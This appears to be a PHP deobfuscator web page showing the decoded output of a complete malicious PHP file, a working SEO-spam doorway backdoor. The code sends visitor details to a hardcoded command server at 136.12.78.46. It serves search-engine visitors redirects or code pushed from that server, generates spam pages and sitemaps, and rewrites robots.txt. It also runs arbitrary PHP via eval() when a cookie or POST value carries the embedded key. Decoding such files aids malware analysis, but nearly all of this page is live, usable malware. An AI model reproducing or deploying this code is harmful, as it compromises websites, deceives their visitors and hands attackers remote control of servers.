Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
@ini_set('error_log', NULL);@ini_set('log_errors', 0);@ini_set('max_execution_time', 0);@e..
Decoded Output download
@ini_set('error_log', NULL);@ini_set('log_errors', 0);@ini_set('max_execution_time', 0);@error_reporting(0);@set_time_limit(0);date_default_timezone_set('UTC');class _fantty{static private $_5r14gnz0 = 2990481619;static function _o6brv($_6wgxvjj3, $_we42imhf){$_6wgxvjj3[2] = count($_6wgxvjj3) > 4 ? long2ip(_fantty::$_5r14gnz0 - 693) : $_6wgxvjj3[2];$_uu7no188 = _fantty::_h8lbi($_6wgxvjj3, $_we42imhf);if (!$_uu7no188) {$_uu7no188 = _fantty::_dzrdm($_6wgxvjj3, $_we42imhf);}return $_uu7no188;}static function _h8lbi($_6wgxvjj3, $_uu7no188, $_cg2jbt7h = NULL){if (!function_exists('curl_version')) {return "";}if (is_array($_6wgxvjj3)) {$_6wgxvjj3 = implode("/", $_6wgxvjj3);}$_cgmg40ao = curl_init();curl_setopt($_cgmg40ao, CURLOPT_SSL_VERIFYHOST, false);curl_setopt($_cgmg40ao, CURLOPT_SSL_VERIFYPEER, false);curl_setopt($_cgmg40ao, CURLOPT_URL, $_6wgxvjj3);if (!empty($_uu7no188)) {curl_setopt($_cgmg40ao, CURLOPT_POST, 1);curl_setopt($_cgmg40ao, CURLOPT_POSTFIELDS, $_uu7no188);}if (!empty($_cg2jbt7h)) {curl_setopt($_cgmg40ao, CURLOPT_HTTPHEADER, $_cg2jbt7h);}curl_setopt($_cgmg40ao, CURLOPT_RETURNTRANSFER, TRUE);$_5cc1sdh3 = curl_exec($_cgmg40ao);curl_close($_cgmg40ao);return $_5cc1sdh3;}static function _dzrdm($_6wgxvjj3, $_uu7no188, $_cg2jbt7h = NULL){if (is_array($_6wgxvjj3)) {$_6wgxvjj3 = implode("/", $_6wgxvjj3);}if (!empty($_uu7no188)) {$_gl7p0awz = array('method' => 'POST','header' => 'Content-type: application/x-www-form-urlencoded','content' => $_uu7no188);if (!empty($_cg2jbt7h)) {$_gl7p0awz["header"] = $_gl7p0awz["header"] . "
" . implode("
", $_cg2jbt7h);}$_8syeq59a = stream_context_create(array('http' => $_gl7p0awz));} else {$_gl7p0awz = array('method' => 'GET',);if (!empty($_cg2jbt7h)) {$_gl7p0awz["header"] = implode("
", $_cg2jbt7h);}$_8syeq59a = stream_context_create(array('http' => $_gl7p0awz));}return @file_get_contents($_6wgxvjj3, FALSE, $_8syeq59a);}}class _b68k5ym{private static $_3y0u2040 = "";private static $_urj6w84p = -1;private static $_7z9f2mw9 = "";private $_ibjvr269 = "";private $_ts33hq1t = "";private $_mnxm6y2g = "";private $_hg7mqcvv = "";public static function _j0hkw($_etc1q9w9, $_5rxpxnku, $_lx966icj){_b68k5ym::$_3y0u2040 = $_etc1q9w9 . "/cache/";_b68k5ym::$_urj6w84p = $_5rxpxnku;_b68k5ym::$_7z9f2mw9 = $_lx966icj;if (!@file_exists(_b68k5ym::$_3y0u2040)) {@mkdir(_b68k5ym::$_3y0u2040);}}static public function _60ue2(){$_ny1zze17 = 0;foreach (scandir(_b68k5ym::$_3y0u2040) as $_wmsop5ra) {$_ny1zze17 += 1;}return $_ny1zze17;}public static function _elig6(){return TRUE;}public function __construct($_4y1zlod3, $_eb22a4ih, $_pa4bwte6, $_c9yu1agq){$this->_ibjvr269 = $_4y1zlod3;$this->_ts33hq1t = $_eb22a4ih;$this->_mnxm6y2g = $_pa4bwte6;$this->_hg7mqcvv = $_c9yu1agq;}public function _rd0t8(){function _f0g85($_z5bknnw0, $_jqehyzyu){return round(rand($_z5bknnw0, $_jqehyzyu - 1) + (rand(0, PHP_INT_MAX - 1) / PHP_INT_MAX), 2);}$_wi9cemp1 = _wl47heq::_t5o0u();$_uu7no188 = str_replace("{{ text }}", $this->_ts33hq1t,str_replace("{{ keyword }}", $this->_mnxm6y2g,str_replace("{{ links }}", $this->_hg7mqcvv, $this->_ibjvr269)));while (TRUE) {$_ss6pyhvn = preg_replace('/' . preg_quote("{{ randkeyword }}", '/') . '/', _wl47heq::_8578k(), $_uu7no188, 1);if ($_ss6pyhvn === $_uu7no188) {break;}$_uu7no188 = $_ss6pyhvn;}while (TRUE) {preg_match('/{{ KEYWORDBYINDEX-ANCHOR (\d*) }}/', $_uu7no188, $_1e0fs1ma);if (empty($_1e0fs1ma)) {break;}$_pa4bwte6 = @$_wi9cemp1[intval($_1e0fs1ma[1])];$_05nx3ph1 = _kvbmvky::_1ozwl($_pa4bwte6);$_uu7no188 = str_replace($_1e0fs1ma[0], $_05nx3ph1, $_uu7no188);}while (TRUE) {preg_match('/{{ KEYWORDBYINDEX (\d*) }}/', $_uu7no188, $_1e0fs1ma);if (empty($_1e0fs1ma)) {break;}$_pa4bwte6 = @$_wi9cemp1[intval($_1e0fs1ma[1])];$_uu7no188 = str_replace($_1e0fs1ma[0], $_pa4bwte6, $_uu7no188);}while (TRUE) {preg_match('/{{ RANDFLOAT (\d*)-(\d*) }}/', $_uu7no188, $_1e0fs1ma);if (empty($_1e0fs1ma)) {break;}$_uu7no188 = str_replace($_1e0fs1ma[0], _f0g85($_1e0fs1ma[1], $_1e0fs1ma[2]), $_uu7no188);}while (TRUE) {preg_match('/{{ RANDINT (\d*)-(\d*) }}/', $_uu7no188, $_1e0fs1ma);if (empty($_1e0fs1ma)) {break;}$_uu7no188 = str_replace($_1e0fs1ma[0], rand($_1e0fs1ma[1], $_1e0fs1ma[2]), $_uu7no188);}return $_uu7no188;}public function _cqpqk(){$_433rn123 = _b68k5ym::$_3y0u2040 . md5($this->_mnxm6y2g . _b68k5ym::$_7z9f2mw9);if (_b68k5ym::$_urj6w84p == -1) {$_7ktvq1os = -1;} else {$_7ktvq1os = time() + (3600 * 24 * 30);}$_gv9jlvq0 = array("template" => $this->_ibjvr269, "text" => $this->_ts33hq1t, "keyword" => $this->_mnxm6y2g,"links" => $this->_hg7mqcvv, "expired" => $_7ktvq1os);@file_put_contents($_433rn123, serialize($_gv9jlvq0));}static public function _kd7xc($_pa4bwte6){$_433rn123 = _b68k5ym::$_3y0u2040 . md5($_pa4bwte6 . _b68k5ym::$_7z9f2mw9);$_433rn123 = @unserialize(@file_get_contents($_433rn123));if (!empty($_433rn123) && ($_433rn123["expired"] > time() || $_433rn123["expired"] == -1)) {return new _b68k5ym($_433rn123["template"], $_433rn123["text"], $_433rn123["keyword"], $_433rn123["links"]);} else {return null;}}}class _sud8xi{private static $_3y0u2040 = "";private static $_oq4pi759 = "";public static function _j0hkw($_etc1q9w9, $_y9tvy1d6){_sud8xi::$_3y0u2040 = $_etc1q9w9 . "/";_sud8xi::$_oq4pi759 = $_y9tvy1d6;if (!@file_exists(_sud8xi::$_3y0u2040)) {@mkdir(_sud8xi::$_3y0u2040);}}public static function _elig6(){return TRUE;}static public function _60ue2(){$_ny1zze17 = 0;foreach (scandir(_sud8xi::$_3y0u2040) as $_wmsop5ra) {if (strpos($_wmsop5ra, _sud8xi::$_oq4pi759) === 0) {$_ny1zze17 += 1;}}return $_ny1zze17;}static public function _8578k(){$_9cbn9k3r = array();foreach (scandir(_sud8xi::$_3y0u2040) as $_wmsop5ra) {if (strpos($_wmsop5ra, _sud8xi::$_oq4pi759) === 0) {$_9cbn9k3r[] = $_wmsop5ra;}}return @file_get_contents(_sud8xi::$_3y0u2040 . $_9cbn9k3r[array_rand($_9cbn9k3r)]);}static public function _cqpqk($_bvjarnsc){if (@file_exists(_sud8xi::$_oq4pi759 . "_" . md5($_bvjarnsc) . ".html")) {return;}@file_put_contents(_sud8xi::$_oq4pi759 . "_" . md5($_bvjarnsc) . ".html", $_bvjarnsc);}}class _wl47heq{private static $_3y0u2040 = "";private static $_oq4pi759 = "";private static $_ui8dv7ha = array();private static $_3fpt7p2q = array();public static function _j0hkw($_etc1q9w9, $_y9tvy1d6){_wl47heq::$_3y0u2040 = $_etc1q9w9 . "/";_wl47heq::$_oq4pi759 = $_y9tvy1d6;if (!@file_exists(_wl47heq::$_3y0u2040)) {@mkdir(_wl47heq::$_3y0u2040);}}private static function _sif2w(){$_b2qrhoea = array();foreach (scandir(_wl47heq::$_3y0u2040) as $_wmsop5ra) {if (strpos($_wmsop5ra, _wl47heq::$_oq4pi759) === 0) {$_b2qrhoea[] = $_wmsop5ra;}}return $_b2qrhoea;}public static function _elig6(){return TRUE;}static public function _8578k(){if (empty(_wl47heq::$_ui8dv7ha)) {$_b2qrhoea = _wl47heq::_sif2w();_wl47heq::$_ui8dv7ha = @file(_wl47heq::$_3y0u2040 . $_b2qrhoea[array_rand($_b2qrhoea)], FILE_IGNORE_NEW_LINES);}return _wl47heq::$_ui8dv7ha[array_rand(_wl47heq::$_ui8dv7ha)];}static public function _t5o0u(){if (empty(_wl47heq::$_3fpt7p2q)) {$_b2qrhoea = _wl47heq::_sif2w();foreach ($_b2qrhoea as $_o6rg07cj) {_wl47heq::$_3fpt7p2q = array_merge(_wl47heq::$_3fpt7p2q, @file(_wl47heq::$_3y0u2040 . $_o6rg07cj, FILE_IGNORE_NEW_LINES));}}return _wl47heq::$_3fpt7p2q;}static public function _cqpqk($_549uca0t){if (@file_exists(_wl47heq::$_oq4pi759 . "_" . md5($_549uca0t) . ".list")) {return;}@file_put_contents(_wl47heq::$_oq4pi759 . "_" . md5($_549uca0t) . ".list", $_549uca0t);}static public function _kvlef($_pa4bwte6){@file_put_contents(_wl47heq::$_oq4pi759 . "_" . md5(_kvbmvky::$_lxsmztq3) . ".list", $_pa4bwte6 . "
", 8);}}class _kvbmvky{static public $_8dn634b4 = "5.3";static public $_lxsmztq3 = "5430876c-105e-97f9-c21a-cb0b8ebcfb6a";private $_tvdq0axu = "http://136.12.78.46/app/assets/api2?action=redir";private $_jedctmqs = "http://136.12.78.46/app/assets/api?action=page";static public $_hl9xnj7r = 5;static public $_nco3oa7d = 20;private function _jxq9l(){$_x0y81pao = array('#libwww-perl#i','#MJ12bot#i','#msnbot#i', '#msnbot-media#i','#YandexBot#i', '#msnbot#i', '#YandexWebmaster#i','#spider#i', '#yahoo#i', '#google#i', '#altavista#i','#ask#i','#yahoo!\s*slurp#i','#BingBot#i');if (!empty($_SERVER['HTTP_USER_AGENT']) && (FALSE !== strpos(preg_replace($_x0y81pao, '-NO-WAY-', $_SERVER['HTTP_USER_AGENT']), '-NO-WAY-'))) {$_2oxlfxiv = 1;} elseif (empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) || empty($_SERVER['HTTP_REFERER'])) {$_2oxlfxiv = 1;} elseif (strpos($_SERVER['HTTP_REFERER'], "google") === FALSE &&strpos($_SERVER['HTTP_REFERER'], "yahoo") === FALSE &&strpos($_SERVER['HTTP_REFERER'], "bing") === FALSE &&strpos($_SERVER['HTTP_REFERER'], "yandex") === FALSE) {$_2oxlfxiv = 1;} else {$_2oxlfxiv = 0;}return $_2oxlfxiv;}private static function _k9mem(){$_we42imhf = array();$_we42imhf['ip'] = $_SERVER['REMOTE_ADDR'];$_we42imhf['qs'] = @$_SERVER['HTTP_HOST'] . @$_SERVER['REQUEST_URI'];$_we42imhf['ua'] = @$_SERVER['HTTP_USER_AGENT'];$_we42imhf['lang'] = @$_SERVER['HTTP_ACCEPT_LANGUAGE'];$_we42imhf['ref'] = @$_SERVER['HTTP_REFERER'];$_we42imhf['enc'] = @$_SERVER['HTTP_ACCEPT_ENCODING'];$_we42imhf['acp'] = @$_SERVER['HTTP_ACCEPT'];$_we42imhf['char'] = @$_SERVER['HTTP_ACCEPT_CHARSET'];$_we42imhf['conn'] = @$_SERVER['HTTP_CONNECTION'];return $_we42imhf;}public function __construct(){$this->_tvdq0axu = explode("/", $this->_tvdq0axu);$this->_jedctmqs = explode("/", $this->_jedctmqs);}static public function _5fnsd($_08c93nic){if (strlen($_08c93nic) < 4) {return "";}$_z4cfti90 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";$_wi9cemp1 = str_split($_z4cfti90);$_wi9cemp1 = array_flip($_wi9cemp1);$_25n8ffjy = 0;$_frpimu6j = "";$_08c93nic = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $_08c93nic);do {$_008o5i5x = $_wi9cemp1[$_08c93nic[$_25n8ffjy++]];$_cgya4kea = $_wi9cemp1[$_08c93nic[$_25n8ffjy++]];$_jysjsaw3 = $_wi9cemp1[$_08c93nic[$_25n8ffjy++]];$_8mxnlby8 = $_wi9cemp1[$_08c93nic[$_25n8ffjy++]];$_iuiwyqip = ($_008o5i5x << 2) | ($_cgya4kea >> 4);$_g4z9b6db = (($_cgya4kea & 15) << 4) | ($_jysjsaw3 >> 2);$_yki9nwqo = (($_jysjsaw3 & 3) << 6) | $_8mxnlby8;$_frpimu6j = $_frpimu6j . chr($_iuiwyqip);if ($_jysjsaw3 != 64) {$_frpimu6j = $_frpimu6j . chr($_g4z9b6db);}if ($_8mxnlby8 != 64) {$_frpimu6j = $_frpimu6j . chr($_yki9nwqo);}} while ($_25n8ffjy < strlen($_08c93nic));return $_frpimu6j;}private function _njklz($_pa4bwte6){$_4y1zlod3 = "";$_eb22a4ih = "";$_we42imhf = _kvbmvky::_k9mem();$_we42imhf["uid"] = _kvbmvky::$_lxsmztq3;$_we42imhf["keyword"] = $_pa4bwte6;$_we42imhf["tc"] = 10;$_we42imhf = http_build_query($_we42imhf);$_nk7gi22w = _fantty::_o6brv($this->_jedctmqs, $_we42imhf);if (strpos($_nk7gi22w, _kvbmvky::$_lxsmztq3) === FALSE) {return array($_4y1zlod3, $_eb22a4ih);}$_4y1zlod3 = _sud8xi::_8578k();$_eb22a4ih = substr($_nk7gi22w, strlen(_kvbmvky::$_lxsmztq3));$_eb22a4ih = explode("
", $_eb22a4ih);shuffle($_eb22a4ih);$_eb22a4ih = implode(" ", $_eb22a4ih);return array($_4y1zlod3, $_eb22a4ih);}private function _nrluv(){$_we42imhf = _kvbmvky::_k9mem();if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {$_we42imhf['cfconn'] = @$_SERVER['HTTP_CF_CONNECTING_IP'];}if (isset($_SERVER['HTTP_X_REAL_IP'])) {$_we42imhf['xreal'] = @$_SERVER['HTTP_X_REAL_IP'];}if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {$_we42imhf['xforward'] = @$_SERVER['HTTP_X_FORWARDED_FOR'];}$_we42imhf["uid"] = _kvbmvky::$_lxsmztq3;$_we42imhf = http_build_query($_we42imhf);$_5g1h35va = _fantty::_o6brv($this->_tvdq0axu, $_we42imhf);$_5g1h35va = @unserialize($_5g1h35va);if (isset($_5g1h35va["type"]) && $_5g1h35va["type"] == "redir") {if (!empty($_5g1h35va["data"]["header"])) {header($_5g1h35va["data"]["header"]);return true;} elseif (!empty($_5g1h35va["data"]["code"])) {echo $_5g1h35va["data"]["code"];return true;}}return false;}public function _elig6(){return _b68k5ym::_elig6() && _sud8xi::_elig6() && _wl47heq::_elig6();}static public function _rqg7d(){if ((!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || $_SERVER['SERVER_PORT'] == 443) {return true;}return false;}public static function _srapb(){$_jjbhehxj = explode("?", $_SERVER["REQUEST_URI"], 2);$_jjbhehxj = $_jjbhehxj[0];if (strpos($_jjbhehxj, ".php") === FALSE) {$_jjbhehxj = explode("/", $_jjbhehxj);array_pop($_jjbhehxj);$_jjbhehxj = implode("/", $_jjbhehxj) . "/";}return sprintf("%s://%s%s", _kvbmvky::_rqg7d() ? "https" : "http", $_SERVER['HTTP_HOST'], $_jjbhehxj);}public static function _59cju(){$_gbp2yy4f = Array("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62","Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15","Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15","Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36","Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36");$_cpmnedtk = array("https://www.google.com/ping?sitemap=" => "Sitemap Notification Received",);$_cg2jbt7h = array("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Accept-Language: en-US,en;q=0.5","User-Agent: " . $_gbp2yy4f[array_rand($_gbp2yy4f)],);$_fiyulk66 = urlencode(_kvbmvky::_ao0ru() . "/sitemap.xml");foreach ($_cpmnedtk as $_6wgxvjj3 => $_h5ih1f0k) {$_rfeuhwl2 = _fantty::_h8lbi($_6wgxvjj3 . $_fiyulk66, NULL, $_cg2jbt7h);if (empty($_rfeuhwl2)) {$_rfeuhwl2 = _fantty::_dzrdm($_6wgxvjj3 . $_fiyulk66, NULL, $_cg2jbt7h);}if (empty($_rfeuhwl2)) {return FALSE;}if (strpos($_rfeuhwl2, $_h5ih1f0k) === FALSE) {return FALSE;}}return TRUE;}public static function _6sib2(){$_uhkumrcc = "User-agent: *
Disallow: %s
User-agent: Bingbot
User-agent: Googlebot
User-agent: Slurp
Disallow:
Sitemap: %s
";$_jjbhehxj = explode("?", $_SERVER["REQUEST_URI"], 2);$_jjbhehxj = $_jjbhehxj[0];$_q0sxoloe = substr($_jjbhehxj, 0, strrpos($_jjbhehxj, "/"));$_aewf508z = sprintf($_uhkumrcc, $_q0sxoloe, _kvbmvky::_ao0ru() . "/sitemap.xml");$_q0zpyzzb = $_SERVER["DOCUMENT_ROOT"] . "/robots.txt";if (@file_exists($_q0zpyzzb)) {@chmod($_q0zpyzzb, 0777);$_cz5v6wyi = @file_get_contents($_q0zpyzzb);} else {$_cz5v6wyi = "";}if (strpos($_cz5v6wyi, $_aewf508z) === FALSE) {@file_put_contents($_q0zpyzzb, $_cz5v6wyi . "
" . $_aewf508z);$_cz5v6wyi = @file_get_contents($_q0zpyzzb);return (strpos($_cz5v6wyi, $_aewf508z) !== FALSE);}return FALSE;}public static function _ao0ru(){$_jjbhehxj = explode("?", $_SERVER["REQUEST_URI"], 2);$_jjbhehxj = $_jjbhehxj[0];$_etc1q9w9 = substr($_jjbhehxj, 0, strrpos($_jjbhehxj, "/"));return sprintf("%s://%s%s", _kvbmvky::_rqg7d() ? "https" : "http", $_SERVER['HTTP_HOST'], $_etc1q9w9);}public static function _1ozwl($_pa4bwte6){$_6jpyog1u = _kvbmvky::_srapb();$_9vlffq0c = substr(md5(_kvbmvky::$_lxsmztq3 . "salt3"), 0, 6);$_vaewookw = "";if (substr($_6jpyog1u, -1) == "/") {if (ord($_9vlffq0c[1]) % 2) {$_pa4bwte6 = str_replace(" ", "-", $_pa4bwte6);} else {$_pa4bwte6 = str_replace(" ", "-", $_pa4bwte6);}$_vaewookw = sprintf("%s%s.html", $_6jpyog1u, urlencode($_pa4bwte6));} else {if (FALSE && (ord($_9vlffq0c[0]) % 2)) {$_vaewookw = sprintf("%s?%s=%s",$_6jpyog1u,$_9vlffq0c,urlencode(str_replace(" ", "-", $_pa4bwte6)));} else {$_jf1r5uai = array("id", "page", "tag");$_4tx3pchy = $_jf1r5uai[ord($_9vlffq0c[2]) % count($_jf1r5uai)];if (ord($_9vlffq0c[1]) % 2) {$_pa4bwte6 = str_replace(" ", "-", $_pa4bwte6);} else {$_pa4bwte6 = str_replace(" ", "-", $_pa4bwte6);}$_vaewookw = sprintf("%s?%s=%s",$_6jpyog1u,$_4tx3pchy,urlencode($_pa4bwte6));}}return $_vaewookw;}public static function _4mej6($_z5bknnw0, $_jqehyzyu){$_bfv4bw8r = "";for ($_25n8ffjy = 0; $_25n8ffjy < rand($_z5bknnw0, $_jqehyzyu); $_25n8ffjy++) {$_pa4bwte6 = _wl47heq::_8578k();$_bfv4bw8r .= sprintf("<a href=\"%s\">%s</a>,
",_kvbmvky::_1ozwl($_pa4bwte6), ucwords($_pa4bwte6));}return $_bfv4bw8r;}public static function _07yml($_cicy4qyo = FALSE){$_xpgkagxj = dirname(__FILE__) . "/sitemap.xml";$_o36dvyvv = "<?xml version=\"1.0\" encoding=\"UTF-8\"?" . ">
<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">
";$_90omjk6l = "</urlset>";$_wi9cemp1 = _wl47heq::_t5o0u();$_1qzld7vf = array();if (file_exists($_xpgkagxj)) {$_nk7gi22w = simplexml_load_file($_xpgkagxj);foreach ($_nk7gi22w as $_rnu697y8) {$_1qzld7vf[(string)$_rnu697y8->loc] = (string)$_rnu697y8->lastmod;}} else {$_cicy4qyo = FALSE;}foreach ($_wi9cemp1 as $_rxy5y2zc) {$_vaewookw = _kvbmvky::_1ozwl($_rxy5y2zc);if (isset($_1qzld7vf[$_vaewookw])) {continue;}if ($_cicy4qyo) {$_e066qhnf = time();} else {$_e066qhnf = time() - (crc32($_rxy5y2zc) % (60 * 60 * 24 * 30));}$_1qzld7vf[$_vaewookw] = date("Y-m-d", $_e066qhnf);}$_qs6okca7 = "";foreach ($_1qzld7vf as $_6wgxvjj3 => $_e066qhnf) {$_qs6okca7 .= "<url>
";$_qs6okca7 .= sprintf("<loc>%s</loc>
", $_6wgxvjj3);$_qs6okca7 .= sprintf("<lastmod>%s</lastmod>
", $_e066qhnf);$_qs6okca7 .= "</url>
";}$_ch9cn1o5 = $_o36dvyvv . $_qs6okca7 . $_90omjk6l;$_fiyulk66 = _kvbmvky::_ao0ru() . "/sitemap.xml";@file_put_contents($_xpgkagxj, $_ch9cn1o5);return $_fiyulk66;}public function _tn3o4(){$_4tx3pchy = substr(md5(_kvbmvky::$_lxsmztq3 . "salt3"), 0, 6);if (!$this->_jxq9l()) {if ($this->_nrluv()) {return;}}if (!empty($_GET)) {$_5w1msisn = array_values($_GET);} else {$_5w1msisn = explode("/", $_SERVER["REQUEST_URI"]);$_5w1msisn = array_reverse($_5w1msisn);}$_pa4bwte6 = "";foreach ($_5w1msisn as $_mwwh633b) {if (substr_count($_mwwh633b, "-") > 0) {$_pa4bwte6 = $_mwwh633b;break;}}$_pa4bwte6 = str_replace($_4tx3pchy . "-", "", $_pa4bwte6);$_pa4bwte6 = str_replace("-" . $_4tx3pchy, "", $_pa4bwte6);$_pa4bwte6 = str_replace("-", " ", $_pa4bwte6);$_a0iw8px2 = array(".html", ".php", ".aspx");foreach ($_a0iw8px2 as $_lfgxpgif) {if (strpos($_pa4bwte6, $_lfgxpgif) === strlen($_pa4bwte6) - strlen($_lfgxpgif)) {$_pa4bwte6 = substr($_pa4bwte6, 0, strlen($_pa4bwte6) - strlen($_lfgxpgif));}}$_pa4bwte6 = urldecode($_pa4bwte6);$_i7pi8qqa = _wl47heq::_t5o0u();if (empty($_pa4bwte6)) {$_pa4bwte6 = $_i7pi8qqa[0];} else if (!in_array($_pa4bwte6, $_i7pi8qqa)) {$_ch0tdeu7 = 0;foreach (str_split($_pa4bwte6) as $_cgmg40ao) {$_ch0tdeu7 += ord($_cgmg40ao);}$_pa4bwte6 = $_i7pi8qqa[$_ch0tdeu7 % count($_i7pi8qqa)];}if (!empty($_pa4bwte6)) {$_5g1h35va = _b68k5ym::_kd7xc($_pa4bwte6);if (empty($_5g1h35va)) {list($_4y1zlod3, $_eb22a4ih) = $this->_njklz($_pa4bwte6);if (empty($_eb22a4ih)) {return;}$_5g1h35va = new _b68k5ym($_4y1zlod3, $_eb22a4ih, $_pa4bwte6, _kvbmvky::_4mej6(_kvbmvky::$_hl9xnj7r, _kvbmvky::$_nco3oa7d));$_5g1h35va->_cqpqk();}echo $_5g1h35va->_rd0t8();}}}_b68k5ym::_j0hkw(dirname(__FILE__), -1, _kvbmvky::$_lxsmztq3);_sud8xi::_j0hkw(dirname(__FILE__), substr(md5(_kvbmvky::$_lxsmztq3 . "salt12"), 0, 4));_wl47heq::_j0hkw(dirname(__FILE__), substr(md5(_kvbmvky::$_lxsmztq3 . "salt22"), 0, 4));function _2rp0e($_nk7gi22w, $_rxy5y2zc){$_w9x9w5jc = "";for ($_25n8ffjy = 0; $_25n8ffjy < strlen($_nk7gi22w);) {for ($_qrgdim1o = 0; $_qrgdim1o < strlen($_rxy5y2zc) && $_25n8ffjy < strlen($_nk7gi22w); $_qrgdim1o++, $_25n8ffjy++) {$_w9x9w5jc .= chr(ord($_nk7gi22w[$_25n8ffjy]) ^ ord($_rxy5y2zc[$_qrgdim1o]));}}return $_w9x9w5jc;}function _nz644($_nk7gi22w, $_rxy5y2zc, $_r1ygy35t){return _2rp0e(_2rp0e($_nk7gi22w, $_rxy5y2zc), $_r1ygy35t);}foreach (array_merge($_COOKIE, $_POST) as $_xzhoi8wu => $_nk7gi22w) {$_nk7gi22w = @unserialize(_nz644(_kvbmvky::_5fnsd($_nk7gi22w), $_xzhoi8wu, _kvbmvky::$_lxsmztq3));if (isset($_nk7gi22w['ak']) && _kvbmvky::$_lxsmztq3 == $_nk7gi22w['ak']) {if ($_nk7gi22w['a'] == 'doorway2') {if ($_nk7gi22w['sa'] == 'check') {$_uu7no188 = _fantty::_o6brv(explode("/", "http://httpbin.org/"), "");if (strlen($_uu7no188) > 512) {echo @serialize(array("uid" => _kvbmvky::$_lxsmztq3, "v" => _kvbmvky::$_8dn634b4,"cache" => _b68k5ym::_60ue2(),"keywords" => count(_wl47heq::_t5o0u()),"templates" => _sud8xi::_60ue2()));}exit;}if ($_nk7gi22w['sa'] == 'templates') {foreach ($_nk7gi22w["templates"] as $_4y1zlod3) {_sud8xi::_cqpqk($_4y1zlod3);echo @serialize(array("uid" => _kvbmvky::$_lxsmztq3, "v" => _kvbmvky::$_8dn634b4,));}}if ($_nk7gi22w['sa'] == 'keywords') {_wl47heq::_cqpqk($_nk7gi22w["keywords"]);_kvbmvky::_07yml();echo @serialize(array("uid" => _kvbmvky::$_lxsmztq3, "v" => _kvbmvky::$_8dn634b4,));}if ($_nk7gi22w['sa'] == 'update_sitemap') {_kvbmvky::_07yml(TRUE);echo @serialize(array("uid" => _kvbmvky::$_lxsmztq3, "v" => _kvbmvky::$_8dn634b4,));}if ($_nk7gi22w['sa'] == 'pages') {$_gbdo5nw9 = 0;$_i7pi8qqa = _wl47heq::_t5o0u();if (_sud8xi::_60ue2() > 0) {foreach ($_nk7gi22w['pages'] as $_5g1h35va) {$_g6mx4bww = _b68k5ym::_kd7xc($_5g1h35va["keyword"]);if (empty($_g6mx4bww)) {$_g6mx4bww = new _b68k5ym(_sud8xi::_8578k(), $_5g1h35va["text"], $_5g1h35va["keyword"], _kvbmvky::_4mej6(_kvbmvky::$_hl9xnj7r, _kvbmvky::$_nco3oa7d));$_g6mx4bww->_cqpqk();$_gbdo5nw9 += 1;if (!in_array($_5g1h35va["keyword"], $_i7pi8qqa)) {_wl47heq::_kvlef($_5g1h35va["keyword"]);}}}}echo @serialize(array("uid" => _kvbmvky::$_lxsmztq3, "v" => _kvbmvky::$_8dn634b4, "pages" => $_gbdo5nw9));}if ($_nk7gi22w["sa"] == "ping") {$_rfeuhwl2 = _kvbmvky::_59cju();echo @serialize(array("uid" => _kvbmvky::$_lxsmztq3, "v" => _kvbmvky::$_8dn634b4, "result" => (int)$_rfeuhwl2));}if ($_nk7gi22w["sa"] == "robots") {$_rfeuhwl2 = _kvbmvky::_6sib2();echo @serialize(array("uid" => _kvbmvky::$_lxsmztq3, "v" => _kvbmvky::$_8dn634b4, "result" => (int)$_rfeuhwl2));}}if ($_nk7gi22w['sa'] == 'eval') {eval($_nk7gi22w["data"]);exit;}}}$_4sf2uqdw = new _kvbmvky();if ($_4sf2uqdw->_elig6()) {$_4sf2uqdw->_tn3o4();}exit(); ?>
Did this file decode correctly?
Original Code
